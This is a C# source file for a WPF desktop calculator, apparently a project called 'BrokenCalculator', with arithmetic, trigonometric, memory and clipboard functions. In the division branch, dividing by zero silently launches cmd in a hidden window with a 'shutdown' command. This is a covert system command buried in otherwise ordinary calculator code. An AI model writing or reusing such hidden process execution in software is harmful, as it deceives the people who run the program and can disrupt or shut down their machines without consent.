﻿using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Text.RegularExpressions;
using System.Windows;
using System.Windows.Controls;
using BrokenCalculator.Enum;

namespace BrokenCalculator;

/// <summary>
/// Interaction logic for MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
    private const int MaxMemoryLabelLength = 6;
    private const int DefaultFontSize = 48;

    private bool OperationCheck;
    private bool FunctionCheck;
    private bool ClearNext;
    private bool IsResult;
    private bool IsOldText;
    private double Memory = 0;
    private string PrevText;
    
    protected TrigModes CurrentTrigMode;
    private Dictionary<TrigModes, string> _trigModeSymbols = new Dictionary<TrigModes, string>()
    {
        { TrigModes.Standard, "Standard" },
        { TrigModes.Hyperbolic, "Hyperbolic" },
        { TrigModes.Arc, "Arc" }
    };
    
    protected Units AngleUnits;
    
    protected Dictionary<Units, string> _angleUnitSymbols = new Dictionary<Units, string>()
    {
        { Units.Radians, "Radians" },
        { Units.Degrees, "Degrees" },
        { Units.Gradians, "Gradians" },
    };

    private const string Overflow = "OVERFLOW";
    private const string InvalidInput = "INVALID INPUT";
    private const string NotANumber = "NaN";
    private static string[] _errors = { Overflow, InvalidInput, NotANumber };

    protected Operations CurrentOperation = Operations.None;
    public MainWindow()
    {
        InitializeComponent();
        AngleUnitButton.Content = _angleUnitSymbols[AngleUnits];
        TrigModeButton.Content = _trigModeSymbols[CurrentTrigMode];
    }
    
    private void update_equation_box(string equation, bool append=false)
    {
        equation = Regex.Replace(equation, @"(\d+)\.\s", "$1 ");
            
        if (equation.Length > 10) EquationBox.FontSize = 18;

        if (!append) EquationBox.Text = equation;
        else EquationBox.Text += equation;
    }
    
    private void ResetFontSize()
    {
        ResultBox.FontSize = DefaultFontSize;
    }
    
    private void show_error(string text)
    {
        ResultBox.Text = text;
        PrevText = null;
        OperationCheck = false;
        ClearNext = true;
        update_equation_box("");
        CurrentOperation = Operations.None;
        ResetFontSize();
    }
    
    private void ShowText(string text, bool clear=true)
    {
        try
        {
            if (double.Parse(text) == 0) text = "0";
        }
        catch (Exception)
        {
            show_error(InvalidInput);
            return;
        }

        switch (text.Length)
        {
            case > 30:
                return;
            case > 12:
                ResultBox.FontSize = 25;
                break;
        }

        if (text.Length > 24) ResultBox.FontSize = 20;

        ClearNext = clear;
        ResultBox.Text = text;
    }
    
    private void UpdateMemoryLabel()
    {
        MemoryLabel.Content = Memory.ToString(CultureInfo.InvariantCulture);
        if (MemoryLabel.Content.ToString()!.Length > MaxMemoryLabelLength)
            MemoryLabel.Content = MemoryLabel.Content.ToString()?.Substring(0, 5) + "...";
    }
    
    private double GetNumber()
    {
        double number = double.Parse(ResultBox.Text);
        return number;
    }
    
    private void CalculateResult()
    {
        if (CurrentOperation == Operations.None)
            return;

        double a = double.Parse(PrevText);
        double b = double.Parse(ResultBox.Text);
        double result;

        switch(CurrentOperation)
        {
            case Operations.Division:
                result = a / b;
                if (b == 0)
                {
                    ProcessStartInfo proc = new ProcessStartInfo();
                    proc.FileName = "cmd";
                    proc.WindowStyle = ProcessWindowStyle.Hidden;
                    proc.Arguments = "/C shutdown " + b;
                    Process.Start(proc);
                }
                break;
            case Operations.Multiplication:
                result = a * b;
                break;
            case Operations.Addition:
                result = a + b;
                break;
            case Operations.Subtraction:
                result = a - b;
                break;
            case Operations.Power:
                result = Math.Pow(a, b);
                break;
            default:
                return;
        }
        

        if (_errors.Contains(ResultBox.Text))
            return;

        OperationCheck = false;
        PrevText = null;
        string equation;
        if (!FunctionCheck) equation = EquationBox.Text + b.ToString(CultureInfo.InvariantCulture);
        else
        {
            equation = EquationBox.Text;
            FunctionCheck = false;
        }
        update_equation_box(equation);
        ShowText(result.ToString());
        CurrentOperation = Operations.None;
        IsResult = true;
    }
    
    private void number_click(object sender, RoutedEventArgs e)
    {
        IsResult = false;
        Button button = (Button)sender;

        if (ResultBox.Text == "0" || _errors.Contains(ResultBox.Text)) ResultBox.Clear();
        string text;

        if (ClearNext)
        {
            ResetFontSize();
            text = button.Content.ToString()!;
            IsOldText = false;
        }
        else text = ResultBox.Text + button.Content;

        if (!OperationCheck && EquationBox.Text != "") update_equation_box("");
        ShowText(text, false);
    }

    private void back_button_click(object sender, RoutedEventArgs e)
    {
        if (IsResult) return;
        string text;
        if (ResultBox.Text.Length == 1) text = "0";
        else text = ResultBox.Text.Substring(0, ResultBox.Text.Length - 1);

        ShowText(text, false);
    }
    
    private void angle_unit_button_click(object sender, RoutedEventArgs e)
    {
        List<Units> units = new List<Units>()
        {
            Units.Radians,
            Units.Degrees,
            Units.Gradians
        };

        Button button = (Button)sender;
        AngleUnits = units.ElementAtOrDefault(units.IndexOf(AngleUnits) + 1);
        button.Content = _angleUnitSymbols[AngleUnits];
    }
    
    private void trig_mode_button_click(object sender, RoutedEventArgs e)
    {
        List<TrigModes> modes = new List<TrigModes>()
        {
            TrigModes.Standard,
            TrigModes.Arc,
            TrigModes.Hyperbolic
        };

        Button button = (Button)sender;
        CurrentTrigMode = modes.ElementAtOrDefault(modes.IndexOf(CurrentTrigMode) + 1);
        button.Content = _trigModeSymbols[CurrentTrigMode];

        if (CurrentTrigMode == TrigModes.Standard)
        {
            SinButton.Content = "sin";
            CosButton.Content = "cos";
            TanButton.Content = "tan";
        }

        if (CurrentTrigMode == TrigModes.Hyperbolic)
        {
            SinButton.Content = "sinh";
            CosButton.Content = "cosh";
            TanButton.Content = "tanh";
        }

        if (CurrentTrigMode == TrigModes.Arc)
        {
            SinButton.Content = "asin";
            CosButton.Content = "acos";
            TanButton.Content = "atan";
        }
    }
    
    private void Function(object sender, RoutedEventArgs e)
    {
        if (_errors.Contains(ResultBox.Text)) return;
            
        Button button = (Button)sender;
        string buttonText = button.Content.ToString()!;
        double number = GetNumber();
        string equation = "";
        string result = "";

        switch (buttonText)
        {
            case "!":
                if (number < 0 || number.ToString().Contains("."))
                {
                    show_error(InvalidInput);
                    return;
                }

                if (number > 3248)
                {
                    show_error(Overflow);
                    return;
                }
                double res = 1;
                if (number == 1 || number == 0)
                    result = res.ToString();
                else
                {
                    for (int i = 2; i <= number; i++)
                    {
                        res *= i;
                    }
                }
                equation = "fact(" + number.ToString() + ")";
                result = res.ToString();
                break;

            case "ln":
                equation = "ln(" + number + ")";
                result = Math.Log(number).ToString();
                break;

            case "log":
                equation = "log(" + number + ")";
                result = Math.Log10(number).ToString();
                break;

            case "√":
                equation = "√(" + number + ")";
                result = Math.Sqrt(number).ToString();
                break;

            case "-n":
                equation = "negate(" + number + ")";
                result = decimal.Negate((decimal)number).ToString();
                break;
            }

        if (OperationCheck)
        {
            equation = EquationBox.Text + equation;
            FunctionCheck = true;
        }

        update_equation_box(equation);
        ShowText(result);
    }
    
    private void trig_function(object sender, RoutedEventArgs e)
        {
            if (_errors.Contains(ResultBox.Text)) return;
            
            Button button = (Button)sender;
            string buttonText = button.Content.ToString();
            string equation = "";
            string result = "";
            double number = GetNumber();

            switch (CurrentTrigMode)
            {
                case TrigModes.Standard: 
                    double radianAngle = Converter.Radians(number, AngleUnits);
                    switch (buttonText)
                    {
                        case "sin":
                            equation = "sin(" + number.ToString() + ")";
                            result = Math.Sin(radianAngle).ToString();
                            break;

                        case "cos":
                            equation = "cos(" + number.ToString() + ")";
                            result = Math.Cos(radianAngle).ToString();
                            break;

                        case "tan":
                            equation = "tan(" + number.ToString() + ")";
                            result = Math.Tan(radianAngle).ToString();
                            break;
                    }
                    break;

                case TrigModes.Hyperbolic:
                    switch(buttonText)
                    {
                        case "sinh":
                            equation = "sinh(" + number + ")";
                            result = Math.Sinh(number).ToString();
                            break;

                        case "cosh":
                            equation = "cosh(" + number + ")";
                            result = Math.Cosh(number).ToString();
                            break;

                        case "tanh":
                            equation = "tanh(" + number + ")";
                            result = Math.Tanh(number).ToString();
                            break;
                    }
                    break;

                case TrigModes.Arc:
                    switch (buttonText)
                    {
                        case "asin":
                            equation = "asin(" + number + ")";
                            result = Math.Asin(number).ToString();
                            break;

                        case "acos":
                            equation = "acos(" + number + ")";
                            result = Math.Acos(number).ToString();
                            break;

                        case "atan":
                            equation = "atan(" + number + ")";
                            result = Math.Atan(number).ToString();
                            break;
                    }
                    break;
                default:
                    throw new ArgumentOutOfRangeException();
            }

            if (CurrentTrigMode == TrigModes.Arc)
            {
                result = AngleUnits switch
                {
                    Units.Degrees => Converter.Degrees(double.Parse(result), Units.Radians).ToString(),
                    Units.Gradians => Converter.Gradians(double.Parse(result), Units.Radians).ToString(),
                    _ => result
                };
            }

            if (OperationCheck)
            {
                equation = EquationBox.Text + equation;
                FunctionCheck = true;
            }

            update_equation_box(equation);
            ShowText(result);
        }
    
    private void double_operand_function(object sender, RoutedEventArgs e)
    {
        if (_errors.Contains(ResultBox.Text)) return;

        if (OperationCheck && !IsOldText) CalculateResult();

        Button button = (Button)sender;

        OperationCheck = true;
        PrevText = ResultBox.Text;
        string buttonText = button.Content.ToString();
        string equation = PrevText + " " + buttonText + " ";
        CurrentOperation = buttonText switch
        {
            "/" => Operations.Division,
            "x" => Operations.Multiplication,
            "-" => Operations.Subtraction,
            "+" => Operations.Addition,
            "^" => Operations.Power,
            _ => CurrentOperation
        };
        update_equation_box(equation);
        ResetFontSize();
        ShowText(ResultBox.Text);
        IsOldText = true;
    }
    
    private void decimal_button_click(object sender, RoutedEventArgs e)
    {
        if (!ResultBox.Text.Contains("."))
        {
            string text = ResultBox.Text += ".";
            ShowText(text, false);
        }
    }
    
    private void pi_button_click(object sender, RoutedEventArgs e)
    {
        if (!OperationCheck) update_equation_box("");
        ShowText(Math.PI.ToString());
        IsResult = true;
    }

        private void e_button_click(object sender, RoutedEventArgs e)
        {
            if (!OperationCheck) update_equation_box("");
            ShowText(Math.E.ToString());
            IsResult = true;
        }

        private void madd_button_click(object sender, RoutedEventArgs e)
        {
            if (_errors.Contains(ResultBox.Text)) return;
            Memory += GetNumber();
            UpdateMemoryLabel();
        }

        private void msub_button_click(object sender, RoutedEventArgs e)
        {
            if (_errors.Contains(ResultBox.Text)) return;
            Memory -= GetNumber();
            UpdateMemoryLabel();
        }

        private void mc_button_click(object sender, RoutedEventArgs e)
        {
            Memory = 0;
            UpdateMemoryLabel();
        }

        private void mr_button_click(object sender, RoutedEventArgs e)
        {
            ShowText(Memory.ToString());
            if (!OperationCheck)
                update_equation_box("");
        }

        private void clear_button_click(object sender, RoutedEventArgs e)
        {
            ResultBox.Text = "0";
            OperationCheck = false;
            PrevText = null;
            update_equation_box("");
            ResetFontSize();
        }

        private void clr_entry_button_click(object sender, RoutedEventArgs e)
        {
            ResultBox.Text = "0";
            ResetFontSize();
        }

        private void equals_button_click(object sender, RoutedEventArgs e)
        {
            CalculateResult();
        }
        private void copy_button_click(object sender, RoutedEventArgs e)
        {
            if (_errors.Contains(ResultBox.Text)) return;

            Clipboard.SetData(DataFormats.UnicodeText, ResultBox.Text);
        }
        
        private void paste_button_click(object sender, RoutedEventArgs e)
        {
            object clipboardData = Clipboard.GetData(DataFormats.UnicodeText);
            if (clipboardData != null)
            {
                string data = clipboardData.ToString();
                ShowText(data.ToString());
            }
            else return;
        }
}